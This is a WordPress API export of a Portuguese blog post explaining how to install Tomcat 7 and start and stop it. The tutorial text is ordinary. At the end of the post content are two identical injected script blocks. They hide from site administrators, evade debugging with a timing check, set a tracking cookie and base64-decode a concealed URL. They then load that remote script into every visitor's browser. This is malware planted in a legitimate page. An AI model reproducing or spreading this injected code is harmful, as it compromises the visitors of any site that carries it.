{"id":92,"date":"2010-08-30T11:13:58","date_gmt":"2010-08-30T14:13:58","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=92"},"modified":"2025-10-26T22:44:14","modified_gmt":"2025-10-27T01:44:14","slug":"instalacao-do-tomcat-7-servlet-3-0-jsp-2-2-e-el-2-2","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/30\/instalacao-do-tomcat-7-servlet-3-0-jsp-2-2-e-el-2-2\/","title":{"rendered":"Instala\u00e7\u00e3o do Tomcat 7 - Servlet 3.0, JSP 2.2 e EL 2.2."},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"Tomcat\" href=\"http:\/\/tomcat.apache.org\/\" target=\"_blank\" rel=\"noopener\">Tomcat<\/a> \u00e9 um container de Servlets da <a title=\"Apache Software Foundation\" href=\"http:\/\/www.apache.org\/\" target=\"_blank\" rel=\"noopener\">Apache Software Foundation<\/a>. Em linhas gerais ele \u00e9 um servidor HTTP que executa JSP e Servlets.<\/p>\n<p style=\"text-align: justify;\">Ele possui alguns componentes:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Catalina: Container de Servlets.<\/li>\n<li>Coyote: Conector HTTP, respons\u00e1vel por receber requisi\u00e7\u00f5es HTTP e redirecionar.<\/li>\n<li>Jasper: Engine JSP do Tomcat, ela converte e compila o JSP em uma Servlet para ser gerenciada pelo Catalina.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Nesse post vamos instalar o Tomcat 7 que possui suporte as novas especifica\u00e7\u00f5es: <a title=\"JSR 315\" href=\"http:\/\/jcp.org\/en\/jsr\/detail?id=315\" target=\"_blank\" rel=\"noopener\">Servlet 3.0<\/a>, <a title=\"JSP 2.2 e EL 2.2\" href=\"http:\/\/jcp.org\/aboutJava\/communityprocess\/mrel\/jsr245\/index.html\" target=\"_blank\" rel=\"noopener\">JSP 2.2 e EL 2.2<\/a>.<\/p>\n<p style=\"text-align: justify;\">Para baixar o Tomcat 7, temos que acessar: <a title=\"Download Tomcat 7\" href=\"http:\/\/tomcat.apache.org\/download-70.cgi#Binary_Distributions\" target=\"_blank\" rel=\"noopener\">http:\/\/tomcat.apache.org\/download-70.cgi#Binary_Distributions<\/a><\/p>\n<p style=\"text-align: justify;\">Ap\u00f3s o download, descompactar em uma pasta de sua prefer\u00eancia ou executar a instala\u00e7\u00e3o se for windows e voc\u00ea baixou o installer.<\/p>\n<p style=\"text-align: justify;\">Para iniciar, executar o arquivo: $TOMCAT_HOME\/bin\/startup.sh (ou .bat se for Windows).<\/p>\n<p style=\"text-align: justify;\">Se tudo estiver ok, no log $TOMCAT_HOME\/logs\/catalina.out deve aparecer o seguinte:<\/p>\n<p>[cc]Aug 30, 2010 11:08:21 AM org.apache.catalina.startup.HostConfig deployDirectory<br \/>\nINFO: Deploying web application directory docs<br \/>\nAug 30, 2010 11:08:21 AM org.apache.catalina.startup.HostConfig deployDirectory<br \/>\nINFO: Deploying web application directory host-manager<br \/>\nAug 30, 2010 11:08:21 AM org.apache.coyote.http11.Http11Protocol start<br \/>\nINFO: Starting Coyote HTTP\/1.1 on http-8080<br \/>\nAug 30, 2010 11:08:21 AM org.apache.coyote.ajp.AjpProtocol start<br \/>\nINFO: Starting Coyote AJP\/1.3 on ajp-8009<br \/>\nAug 30, 2010 11:08:21 AM org.apache.catalina.startup.Catalina start<br \/>\nINFO: Server startup in 489 ms[\/cc]<\/p>\n<p>Para parar, executar o arquivo: $TOMCAT_HOME\/bin\/shutdown.sh (ou .bat se for Windows).<\/p>\n<p style=\"text-align: justify;\">Em um pr\u00f3ximo post coloco como criar um projeto utilizando os recursos do Servlet 3.0. Pra quem quiser j\u00e1 ir vendo sobre o assunto, tem uma excelente introdu\u00e7\u00e3o em: <a title=\"Introdu\u00e7\u00e3o ao Servlet 3.0\" href=\"http:\/\/today.java.net\/pub\/a\/today\/2008\/10\/14\/introduction-to-servlet-3.html\" target=\"_blank\" rel=\"noopener\">http:\/\/today.java.net\/pub\/a\/today\/2008\/10\/14\/introduction-to-servlet-3.html<\/a><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O Tomcat \u00e9 um container de Servlets da Apache Software Foundation. Em linhas gerais ele \u00e9 um servidor HTTP que executa JSP e Servlets. Ele possui alguns componentes: Catalina: Container de Servlets. Coyote: Conector HTTP, respons\u00e1vel por receber requisi\u00e7\u00f5es HTTP <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/08\/30\/instalacao-do-tomcat-7-servlet-3-0-jsp-2-2-e-el-2-2\/\">Continue lendo  <span class=\"screen-reader-text\">  Instala\u00e7\u00e3o do Tomcat 7 - Servlet 3.0, JSP 2.2 e EL 2.2.<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-92","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/92","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=92"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/92\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=92"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=92"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=92"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}